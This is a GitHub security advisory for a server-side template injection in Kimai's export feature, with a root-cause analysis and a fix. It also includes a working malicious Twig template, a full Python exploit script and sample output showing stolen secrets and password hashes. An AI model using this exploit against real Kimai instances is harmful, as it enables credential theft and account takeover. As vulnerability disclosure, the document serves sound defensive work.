{"id":"GHSA-jg2j-2w24-54cg","summary":"Kimai has an Authenticated Server-Side Template Injection (SSTI)","details":"# Kimai 2.45.0 - Authenticated Server-Side Template Injection (SSTI)\n\n## Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Title** | Authenticated SSTI via Permissive Export Template Sandbox || **Attack Vector** | Network |\n| **Attack Complexity** | Low |\n| **Privileges Required** | High (Admin with export permissions and server access) |\n| **User Interaction** | None |\n| **Impact** | Confidentiality: HIGH (Credential/Secret Extraction) |\n| **Affected Versions** | Kimai 2.45.0 (likely earlier versions) |\n| **Tested On** | Docker: kimai/kimai2:apache-2.45.0 |\n| **Discovery Date** | 2026-01-05 |\n\n---\n\n**Why Scope is \"Changed\":** The extracted `APP_SECRET` can be used to forge Symfony login links for ANY user account, expanding the attack beyond the initially compromised admin context.\n\n---\n\n## Vulnerability Description\n\nKimai's export functionality uses a Twig sandbox with an overly permissive security policy (`DefaultPolicy`) that allows arbitrary method calls on objects available in the template context. An authenticated user with export permissions can deploy a malicious Twig template that extracts sensitive information including:\n\n1. **Environment Variables** (APP_SECRET, DATABASE_URL)\n2. **All User Password Hashes** (bcrypt)\n3. **Serialized Session Tokens**\n4. **CSRF Tokens**\n\n---\n\n## Prerequisites\n\n1. **Authenticated Access**: Valid account with export permissions (typically ROLE_ADMIN, ROLE_SUPER_ADMIN, or ROLE_TEAMLEAD)\n2. **Template Deployment**: Ability to place a malicious `.pdf.twig` template in `/opt/kimai/var/export/` via:\n   - Filesystem access (server admin)\n\n---\n\n## Test Environment\n\n### Users in Test Instance\n\nThe test environment contains 2 users whose password hashes were successfully extracted:\n\nKimai Users Page - screenshot_users.png:\n\u003cimg width=\"1124\" height=\"1119\" alt=\"screenshot_users\" src=\"https://github.com/user-attachments/assets/89771b84-a95c-4c6d-9515-7e9a38ef3235\" /\u003e\n\n\n| User | Role | Hash Extracted |\n|------|------|----------------|\n| admin | ROLE_SUPER_ADMIN | ✅ Yes |\n| lowpriv | ROLE_USER | ✅ Yes |\n\n---\n\n## Confirmed Exploitation Evidence\n\n### Test Date: 2026-01-05\n\n### Extracted Data (Actual Output from Exploit)\n\n```\n===SSTI_EXTRACTION_START===\n\n1. ENVIRONMENT VARIABLES\nAPP_SECRET: change_this_to_something_unique\nDATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4&serverVersion=8.0\nAPP_ENV: prod\n\n2. SESSION TOKEN (SERIALIZED)\nO:74:\"Symfony\\Component\\Security\\Core\\Authentication\\Token\\UsernamePasswordToken\":3:{\n  i:0;N;i:1;s:12:\"secured_area\";i:2;a:5:{\n    i:0;O:15:\"App\\Entity\\User\":5:{\n      s:2:\"id\";i:1;\n      s:8:\"username\";s:5:\"admin\";\n      s:7:\"enabled\";b:1;\n      s:5:\"email\";s:17:\"admin@example.com\";\n      s:8:\"password\";s:60:\"$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye\";\n    }\n    i:1;b:1;i:2;N;i:3;a:0:{}\n    i:4;a:2:{i:0;s:16:\"ROLE_SUPER_ADMIN\";i:1;s:9:\"ROLE_USER\";}\n  }\n}\n\n3. CURRENT USER DETAILS\nusername: admin\nemail: admin@example.com\npassword_hash: $2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye\nroles: ROLE_SUPER_ADMIN, ROLE_USER\n\n4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)\nadmin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye\nlowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a\n\n5. CSRF TOKENS\n_csrf/search: IJ42Y5X-YIoBApjE3fsMVVTzf8cBXsA5jvRRmthbi-4\n_csrf/datatable_update: 3RCV4maZUAbBg5XK9hICKWT7PyAK0yjzCz_HLtbBJ58\n\n===SSTI_EXTRACTION_END===\n```\n\n---\n\n## Root Cause Analysis\n\n### Vulnerable Code: `src/Twig/SecurityPolicy/ExportPolicy.php`\n\nThe export functionality uses `ExportPolicy` which includes `DefaultPolicy`:\n\n```php\n$this-\u003epolicy-\u003eaddPolicy(new DefaultPolicy());\n```\n\n### The Problem: `src/Twig/SecurityPolicy/DefaultPolicy.php`\n\n```php\nfinal class DefaultPolicy implements SecurityPolicyInterface\n{\n    public function checkSecurity($tags, $filters, $functions): void\n    {\n        // EMPTY - No restrictions on Twig tags/filters/functions\n    }\n\n    public function checkMethodAllowed($obj, $method): void\n    {\n        // EMPTY - Allows ANY method call on ANY object\n    }\n\n    public function checkPropertyAllowed($obj, $property): void\n    {\n        // EMPTY - Allows ANY property access on ANY object\n    }\n}\n```\n\nThis allows templates to call methods like:\n- `app.request.server.get(\"APP_SECRET\")` - Environment variable access\n- `app.session.get(\"_security_secured_area\")` - Session data access\n- `entry.user.password` - Password hash access\n\n---\n\n## Exploitation Steps\n\n### Step 1: Deploy Malicious Template\n\nSave the following as `/opt/kimai/var/export/ssti-extract.pdf.twig`:\n\n```bash\ndocker exec kimai-kimai-1 bash -c 'cat \u003e /opt/kimai/var/export/ssti-extract.pdf.twig \u003c\u003c \"TEMPLATE\"\n\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n\u003chead\u003e\n    \u003cmeta charset=\"UTF-8\"\u003e\n    \u003ctitle\u003eSSTI Data Extraction\u003c/title\u003e\n    \u003cstyle\u003e\n        body { font-family: monospace; font-size: 10px; }\n        h1, h2 { color: #333; }\n        pre { background: #f5f5f5; padding: 10px; overflow-wrap: break-word; }\n    \u003c/style\u003e\n\u003c/head\u003e\n\u003cbody\u003e\n\n\u003ch1\u003e===SSTI_EXTRACTION_START===\u003c/h1\u003e\n\n\u003ch2\u003e1. ENVIRONMENT VARIABLES\u003c/h2\u003e\n\u003cpre\u003e\nAPP_SECRET: {{ app.request.server.get(\"APP_SECRET\") }}\nDATABASE_URL: {{ app.request.server.get(\"DATABASE_URL\") }}\nAPP_ENV: {{ app.request.server.get(\"APP_ENV\") }}\nAPP_DEBUG: {{ app.request.server.get(\"APP_DEBUG\") }}\n\u003c/pre\u003e\n\n\u003ch2\u003e2. SESSION TOKEN (SERIALIZED)\u003c/h2\u003e\n\u003cpre\u003e\n{{ app.session.get(\"_security_secured_area\") }}\n\u003c/pre\u003e\n\n\u003ch2\u003e3. CURRENT USER DETAILS\u003c/h2\u003e\n\u003cpre\u003e\n{% set user = query.currentUser %}\nusername: {{ user.username }}\nemail: {{ user.email }}\npassword_hash: {{ user.password }}\nroles: {{ user.roles|join(\", \") }}\nid: {{ user.id }}\n\u003c/pre\u003e\n\n\u003ch2\u003e4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)\u003c/h2\u003e\n\u003cpre\u003e\n{% set seen = {} %}\n{% for entry in entries %}\n{% if entry.user is defined and entry.user.username not in seen %}\n{% set seen = seen|merge({(entry.user.username): true}) %}\n{{ entry.user.username }}:{{ entry.user.password }}\n{% endif %}\n{% endfor %}\n\u003c/pre\u003e\n\n\u003ch2\u003e5. CSRF TOKENS\u003c/h2\u003e\n\u003cpre\u003e\n_csrf/search: {{ app.session.get(\"_csrf/search\") }}\n_csrf/datatable_update: {{ app.session.get(\"_csrf/datatable_update\") }}\n_csrf/entities_multiupdate: {{ app.session.get(\"_csrf/entities_multiupdate\") }}\n\u003c/pre\u003e\n\n\u003ch2\u003e6. USER PREFERENCES\u003c/h2\u003e\n\u003cpre\u003e\n{% set user = query.currentUser %}\n{% for pref in user.preferences %}\n{{ pref.name }}: {{ pref.value }}\n{% endfor %}\n\u003c/pre\u003e\n\n\u003ch1\u003e===SSTI_EXTRACTION_END===\u003c/h1\u003e\n\n\u003c/body\u003e\n\u003c/html\u003e\nTEMPLATE'\n```\n\n### Step 2: Run the Exploit\n\n```bash\npython3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!\n```\n\n### Step 3: Extract Text from PDF\n\n```bash\npdftotext kimai_extracted_data.pdf -\n```\n\n---\n\n## Detailed Exploit Usage\n\n### Requirements\n\n```bash\n# Install Python dependencies\npip install requests\n\n# Install PDF text extraction tool\nsudo apt install poppler-utils\n```\n\n### Command Syntax\n\n```\npython3 ssti_exploit.py \u003ctarget_url\u003e \u003cusername\u003e \u003cpassword\u003e [template_name]\n\nArguments:\n  target_url    - Kimai instance URL (e.g., http://localhost:8001)\n  username      - Valid admin username with export permissions\n  password      - User password\n  template_name - Optional: custom template (default: ssti-extract.pdf.twig)\n```\n\n### Example Usage\n\n```bash\n# Basic usage\npython3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!\n\n# With custom template\npython3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123! custom-template.pdf.twig\n```\n\n### Expected Output\n\n```\n╔═══════════════════════════════════════════════════════════════╗\n║     Kimai 2.45.0 - SSTI Information Disclosure Exploit        ║\n║                                                               ║\n║  Extracts: APP_SECRET, DATABASE_URL, Password Hashes          ║\n╚═══════════════════════════════════════════════════════════════╝\n\n[*] Connecting to http://localhost:8001\n[*] Authenticating as admin\n[+] Successfully authenticated as admin\n[*] Triggering SSTI with template: ssti-extract.pdf.twig\n[+] PDF generated successfully: 35356 bytes\n[+] PDF saved to: kimai_extracted_data.pdf\n\n============================================================\nRAW EXTRACTED DATA:\n============================================================\n===SSTI_EXTRACTION_START===\n\n1. ENVIRONMENT VARIABLES\nAPP_SECRET: change_this_to_something_unique\nDATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4&serverVersion=8.0\nAPP_ENV: prod\n\n2. SESSION TOKEN (SERIALIZED)\nO:74:\"Symfony\\Component\\Security\\Core\\Authentication\\Token\\UsernamePasswordToken\":3:{...}\n\n3. CURRENT USER DETAILS\nusername: admin\nemail: admin@example.com\npassword_hash: $2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye\nroles: ROLE_SUPER_ADMIN, ROLE_USER\n\n4. ALL USER PASSWORD HASHES (FROM TIMESHEETS)\nadmin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye\nlowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a\n\n5. CSRF TOKENS\n_csrf/search: IJ42Y5X-YIoBApjE3fsMVVTzf8cBXsA5jvRRmthbi-4\n_csrf/datatable_update: 3RCV4maZUAbBg5XK9hICKWT7PyAK0yjzCz_HLtbBJ58\n\n===SSTI_EXTRACTION_END===\n\n============================================================\nCRITICAL FINDINGS SUMMARY:\n============================================================\n[!] APP_SECRET: change_this_to_something_unique\n[!] DATABASE_URL: mysql://kimai:kimai@db:3306/kimai?charset=utf8mb4&serverVersion=8.0\n[!] Password Hashes Found: 2 unique\n    admin:$2y$13$MsbvH2KU4c..MKHvzLxXFOm2ifNeXM/5Lnpae82hz322kUuSGLgye...\n    lowpriv:$2y$13$kgUXWI.PNtatDuOA6YV1.OWQ8DzWep1upVSs2dzrR8Wcw.HyA8E4a...\n[!] Session Token: Present (serialized PHP object)\n[!] CSRF Tokens: 2 found\n\n[+] Exploitation successful!\n[+] Full output saved to: kimai_extracted_data.pdf\n```\n\n### Output Files\n\n| File | Description |\n|------|-------------|\n| `kimai_extracted_data.pdf` | PDF containing all extracted sensitive data |\n\n### Manual PDF Text Extraction\n\n```bash\n# Extract text from PDF\npdftotext kimai_extracted_data.pdf -\n\n# Save to file\npdftotext kimai_extracted_data.pdf extracted_secrets.txt\n\n# Search for specific secrets\npdftotext kimai_extracted_data.pdf - | grep -E \"(APP_SECRET|DATABASE_URL|\\\\\\$2y\\\\\\$)\"\n```\n\n### Error Handling\n\n| Error Message | Cause | Solution |\n|---------------|-------|----------|\n| `Cannot connect to \u003curl\u003e` | Target unreachable | Check URL and network |\n| `Authentication failed` | Wrong credentials | Verify username/password |\n| `Template not found` | Template not deployed | Deploy template first (Step 1) |\n| `Access denied` | Insufficient permissions | Use admin account with export perms |\n| `pdftotext not installed` | Missing tool | Run `apt install poppler-utils` |\n\n---\n\n\n\n## Complete Exploit Script (ssti_exploit.py)\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nKimai 2.45.0 - SSTI Information Disclosure Exploit\nExtracts: APP_SECRET, DATABASE_URL, Password Hashes, Session Tokens\n\nPrerequisites:\n1. Valid admin credentials\n2. Malicious template deployed at /opt/kimai/var/export/ssti-extract.pdf.twig\n\nUsage: python3 ssti_exploit.py \u003ctarget_url\u003e \u003cusername\u003e \u003cpassword\u003e\nExample: python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!\n\nAuthor: Security Research\nDate: 2026-01-05\n\"\"\"\n\nimport requests\nimport re\nimport subprocess\nimport sys\nimport os\n\nclass KimaiSSTIExploit:\n    def __init__(self, target, username, password):\n        self.target = target.rstrip('/')\n        self.session = requests.Session()\n        self.username = username\n        self.password = password\n        \n    def login(self):\n        \"\"\"Authenticate to Kimai\"\"\"\n        print(f\"[*] Connecting to {self.target}\")\n        \n        try:\n            login_page = self.session.get(f\"{self.target}/en/login\", timeout=10)\n        except requests.exceptions.ConnectionError:\n            raise Exception(f\"Cannot connect to {self.target}\")\n        except requests.exceptions.Timeout:\n            raise Exception(f\"Connection timeout to {self.target}\")\n            \n        if login_page.status_code != 200:\n            raise Exception(f\"Cannot reach login page: HTTP {login_page.status_code}\")\n        \n        csrf_match = re.search(r'name=\"_csrf_token\"[^\u003e]*value=\"([^\"]+)\"', login_page.text)\n        if not csrf_match:\n            raise Exception(\"CSRF token not found on login page\")\n        \n        csrf = csrf_match.group(1)\n        print(f\"[*] Authenticating as {self.username}\")\n        \n        login_resp = self.session.post(\n            f\"{self.target}/en/login_check\",\n            data={\n                \"_username\": self.username,\n                \"_password\": self.password,\n                \"_csrf_token\": csrf\n            },\n            allow_redirects=True,\n            timeout=10\n        )\n        \n        # Check for successful login\n        if \"logout\" not in login_resp.text.lower() and \"sign out\" not in login_resp.text.lower():\n            if \"invalid\" in login_resp.text.lower() or \"incorrect\" in login_resp.text.lower():\n                raise Exception(\"Invalid username or password\")\n            raise Exception(\"Authentication failed - check credentials\")\n        \n        print(f\"[+] Successfully authenticated as {self.username}\")\n        return True\n    \n    def trigger_ssti(self, template_name=\"ssti-extract.pdf.twig\"):\n        \"\"\"Trigger SSTI via export functionality\"\"\"\n        print(f\"[*] Triggering SSTI with template: {template_name}\")\n        \n        try:\n            export_resp = self.session.post(\n                f\"{self.target}/en/export/data\",\n                data={\n                    \"renderer\": template_name,\n                    \"state\": \"3\",       # All states\n                    \"billable\": \"0\",    # All billable states\n                    \"exported\": \"5\",    # All export states\n                    \"markAsExported\": \"0\",\n                },\n                timeout=60\n            )\n        except requests.exceptions.Timeout:\n            raise Exception(\"Export request timed out\")\n        \n        if export_resp.status_code == 404:\n            raise Exception(f\"Template '{template_name}' not found - deploy template first\")\n        \n        if export_resp.status_code == 403:\n            raise Exception(\"Access denied - user lacks export permissions\")\n            \n        if export_resp.status_code != 200:\n            raise Exception(f\"Export failed: HTTP {export_resp.status_code}\")\n        \n        if b'%PDF' not in export_resp.content[:10]:\n            if b'error' in export_resp.content.lower() or b'exception' in export_resp.content.lower():\n                raise Exception(\"Template rendering error - check template syntax\")\n            raise Exception(\"Invalid response - expected PDF output\")\n        \n        print(f\"[+] PDF generated successfully: {len(export_resp.content)} bytes\")\n        return export_resp.content\n    \n    def extract_text(self, pdf_content, output_path=\"/tmp/kimai_ssti_output.pdf\"):\n        \"\"\"Extract text from PDF using pdftotext\"\"\"\n        with open(output_path, \"wb\") as f:\n            f.write(pdf_content)\n        \n        try:\n            result = subprocess.run(\n                [\"pdftotext\", output_path, \"-\"],\n                capture_output=True,\n                text=True,\n                timeout=30\n            )\n            if result.returncode != 0:\n                print(f\"[-] pdftotext error: {result.stderr}\")\n                return None\n            return result.stdout\n        except FileNotFoundError:\n            print(\"[-] pdftotext not installed\")\n            print(\"    Install with: apt install poppler-utils\")\n            return None\n        except subprocess.TimeoutExpired:\n            print(\"[-] pdftotext timed out\")\n            return None\n\n    def parse_findings(self, text):\n        \"\"\"Parse and categorize extracted data\"\"\"\n        findings = {\n            \"app_secret\": None,\n            \"database_url\": None,\n            \"password_hashes\": [],\n            \"session_token\": None,\n            \"csrf_tokens\": []\n        }\n        \n        lines = text.split('\\n')\n        for i, line in enumerate(lines):\n            line = line.strip()\n            \n            if \"APP_SECRET:\" in line:\n                findings[\"app_secret\"] = line.split(\"APP_SECRET:\")[-1].strip()\n            \n            if \"DATABASE_URL:\" in line or \"mysql://\" in line:\n                if \"mysql://\" in line:\n                    findings[\"database_url\"] = line.strip()\n                elif i + 1 \u003c len(lines):\n                    findings[\"database_url\"] = lines[i + 1].strip()\n            \n            if \"$2y$\" in line:\n                findings[\"password_hashes\"].append(line)\n            \n            if \"UsernamePasswordToken\" in line:\n                findings[\"session_token\"] = \"Present (serialized PHP object)\"\n            \n            if \"_csrf\" in line.lower() or len(line) == 43:\n                if \":\" in line:\n                    findings[\"csrf_tokens\"].append(line)\n        \n        return findings\n\n\ndef print_banner():\n    print(\"\"\"\n╔═══════════════════════════════════════════════════════════════╗\n║     Kimai 2.45.0 - SSTI Information Disclosure Exploit        ║\n║                                                               ║\n║  Extracts: APP_SECRET, DATABASE_URL, Password Hashes          ║\n╚═══════════════════════════════════════════════════════════════╝\n\"\"\")\n\n\ndef main():\n    print_banner()\n    \n    if len(sys.argv) \u003c 4:\n        print(\"Usage: python3 ssti_exploit.py \u003ctarget_url\u003e \u003cusername\u003e \u003cpassword\u003e [template_name]\")\n        print()\n        print(\"Arguments:\")\n        print(\"  target_url    - Kimai instance URL (e.g., http://localhost:8001)\")\n        print(\"  username      - Valid admin username\")\n        print(\"  password      - User password\")\n        print(\"  template_name - Optional: custom template name (default: ssti-extract.pdf.twig)\")\n        print()\n        print(\"Example:\")\n        print(\"  python3 ssti_exploit.py http://localhost:8001 admin ChangeMe_Strong123!\")\n        print()\n        print(\"Prerequisites:\")\n        print(\"  1. Deploy malicious template to /opt/kimai/var/export/ssti-extract.pdf.twig\")\n        print(\"  2. User must have export permissions (ROLE_ADMIN or higher)\")\n        sys.exit(1)\n    \n    target = sys.argv[1]\n    username = sys.argv[2]\n    password = sys.argv[3]\n    template = sys.argv[4] if len(sys.argv) \u003e 4 else \"ssti-extract.pdf.twig\"\n    \n    exploit = KimaiSSTIExploit(target, username, password)\n    \n    try:\n        # Step 1: Authenticate\n        exploit.login()\n        \n        # Step 2: Trigger SSTI\n        pdf_content = exploit.trigger_ssti(template)\n        \n        # Step 3: Save PDF\n        output_file = \"kimai_extracted_data.pdf\"\n        with open(output_file, \"wb\") as f:\n            f.write(pdf_content)\n        print(f\"[+] PDF saved to: {output_file}\")\n        \n        # Step 4: Extract and display text\n        text = exploit.extract_text(pdf_content)\n        if text:\n            print()\n            print(\"=\"*60)\n            print(\"RAW EXTRACTED DATA:\")\n            print(\"=\"*60)\n            print(text[:2000])\n            if len(text) \u003e 2000:\n                print(f\"\\n... [{len(text) - 2000} more characters]\")\n            \n            # Parse findings\n            findings = exploit.parse_findings(text)\n            \n            print()\n            print(\"=\"*60)\n            print(\"CRITICAL FINDINGS SUMMARY:\")\n            print(\"=\"*60)\n            \n            if findings[\"app_secret\"]:\n                print(f\"[!] APP_SECRET: {findings['app_secret']}\")\n            \n            if findings[\"database_url\"]:\n                print(f\"[!] DATABASE_URL: {findings['database_url']}\")\n            \n            if findings[\"password_hashes\"]:\n                unique_hashes = list(set(findings[\"password_hashes\"]))\n                print(f\"[!] Password Hashes Found: {len(unique_hashes)} unique\")\n                for h in unique_hashes[:5]:\n                    print(f\"    {h[:80]}...\")\n                if len(unique_hashes) \u003e 5:\n                    print(f\"    ... and {len(unique_hashes) - 5} more\")\n            \n            if findings[\"session_token\"]:\n                print(f\"[!] Session Token: {findings['session_token']}\")\n            \n            if findings[\"csrf_tokens\"]:\n                print(f\"[!] CSRF Tokens: {len(findings['csrf_tokens'])} found\")\n        \n        print()\n        print(\"[+] Exploitation successful!\")\n        print(f\"[+] Full output saved to: {output_file}\")\n        return 0\n        \n    except KeyboardInterrupt:\n        print(\"\\n[-] Interrupted by user\")\n        return 130\n    except Exception as e:\n        print(f\"[-] Exploitation failed: {e}\")\n        return 1\n\n\nif __name__ == \"__main__\":\n    sys.exit(main())\n```\n\n---\n\n## Impact Analysis\n\n| Extracted Data | Security Impact |\n|---------------|-----------------|\n| `APP_SECRET` | Can forge Symfony login links to access ANY user account |\n| `DATABASE_URL` | Direct database connection credentials exposed |\n| Password Hashes | Offline password cracking possible (bcrypt) |\n| Session Tokens | Session structure analysis, potential replay attacks |\n| CSRF Tokens | Bypass CSRF protection for subsequent attacks |\n\n### Attack Chain Example\n\n1. Exploit SSTI → Extract `APP_SECRET`\n2. Use `APP_SECRET` to forge login link for target user\n3. Access target user's account without knowing their password\n\n---\n\n## Remediation\n\n### Immediate Fix\n\nReplace `DefaultPolicy` with `InvoicePolicy` in `ExportPolicy`:\n\n```php\n// src/Twig/SecurityPolicy/ExportPolicy.php\n// Change:\n$this-\u003epolicy-\u003eaddPolicy(new DefaultPolicy());\n\n// To:\n$this-\u003epolicy-\u003eaddPolicy(new InvoicePolicy());\n```\n\n### Additional Hardening\n\n1. **Block environment access in templates:**\n   ```php\n   public function checkMethodAllowed($obj, $method): void\n   {\n       if ($obj instanceof Request && $method === 'getServer') {\n           throw new SecurityError('Server access not allowed');\n       }\n   }\n   ```\n\n2. **Block session access in templates:**\n   ```php\n   if ($obj instanceof Session) {\n       throw new SecurityError('Session access not allowed');\n   }\n   ```\n\n3. **Restrict User object property access:**\n   ```php\n   if ($obj instanceof User && $method === 'getPassword') {\n       throw new SecurityError('Password access not allowed');\n   }\n   ```\n\n\n---\n\nReported by: Mahammad Huseynkhanli","aliases":["CVE-2026-23626"],"modified":"2026-02-03T03:03:09.545849Z","published":"2026-01-20T17:07:13Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-01-20T17:07:13Z","nvd_published_at":"2026-01-18T23:15:48Z","cwe_ids":["CWE-1336"],"severity":"MODERATE"},"references":[{"type":"WEB","url":"https://github.com/kimai/kimai/security/advisories/GHSA-jg2j-2w24-54cg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23626"},{"type":"WEB","url":"https://github.com/kimai/kimai/pull/5757"},{"type":"WEB","url":"https://github.com/kimai/kimai/commit/6a86afb5fd79f6c1825060b87c09bd1909c2e86f"},{"type":"PACKAGE","url":"https://github.com/kimai/kimai"},{"type":"WEB","url":"https://github.com/kimai/kimai/releases/tag/2.46.0"},{"type":"WEB","url":"https://twig.symfony.com/doc/3.x/api.html#sandbox-extension"}],"affected":[{"package":{"name":"kimai/kimai","ecosystem":"Packagist","purl":"pkg:composer/kimai/kimai"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.46.0"}]}],"versions":["0.1","0.2","0.3","0.4","0.5","0.6","0.6.1","0.7","0.8","0.8.1","0.9","1.0","1.0.1","1.1","1.10","1.10.1","1.10.2","1.11","1.11.1","1.12","1.13","1.14","1.14.1","1.14.2","1.14.3","1.15","1.15.1","1.15.2","1.15.3","1.15.4","1.15.5","1.15.6","1.16","1.16.1","1.16.10","1.16.2","1.16.3","1.16.4","1.16.5","1.16.6","1.16.7","1.16.8","1.16.9","1.17","1.17.1","1.18","1.18.1","1.18.2","1.19","1.19.1","1.19.2","1.19.3","1.19.4","1.19.5","1.19.6","1.19.7","1.2","1.20","1.20.1","1.20.2","1.20.3","1.20.4","1.21.0","1.22.0","1.22.1","1.23.0","1.23.1","1.24.0","1.25.0","1.26.0","1.27.0","1.28.0","1.28.1","1.29.0","1.29.1","1.3","1.30.0","1.30.1","1.30.10","1.30.11","1.30.2","1.30.3","1.30.4","1.30.5","1.30.6","1.30.7","1.30.8","1.30.9","1.4","1.4.1","1.4.2","1.5","1.6","1.6.1","1.6.2","1.7","1.8","1.9","2.0.0","2.0.0-alpha","2.0.0-beta","2.0.0-beta-2","2.0.0-beta-3","2.0.0-rc-1","2.0.1","2.0.10","2.0.11","2.0.12","2.0.13","2.0.14","2.0.15","2.0.16","2.0.17","2.0.18","2.0.19","2.0.2","2.0.20","2.0.21","2.0.22","2.0.23","2.0.24","2.0.25","2.0.26","2.0.27","2.0.28","2.0.29","2.0.3","2.0.30","2.0.31","2.0.32","2.0.33","2.0.34","2.0.35","2.0.4","2.0.5","2.0.6","2.0.7","2.0.8","2.0.9","2.1.0","2.10.0","2.11.0","2.12.0","2.13.0","2.14.0","2.15.0","2.16.0","2.16.1","2.17.0","2.18.0","2.19.0","2.19.1","2.2.0","2.2.1","2.20.0","2.20.1","2.21.0","2.22.0","2.23.0","2.24.0","2.25.0","2.26.0","2.27.0","2.28.0","2.29.0","2.3.0","2.30.0","2.31.0","2.32.0","2.33.0","2.34.0","2.35.0","2.35.1","2.36.0","2.36.1","2.37.0","2.38.0","2.39.0","2.4.0","2.4.1","2.40.0","2.41.0","2.42.0","2.43.0","2.44.0","2.45.0","2.5.0","2.6.0","2.7.0","2.8.0","2.9.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-jg2j-2w24-54cg/GHSA-jg2j-2w24-54cg.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N"}]}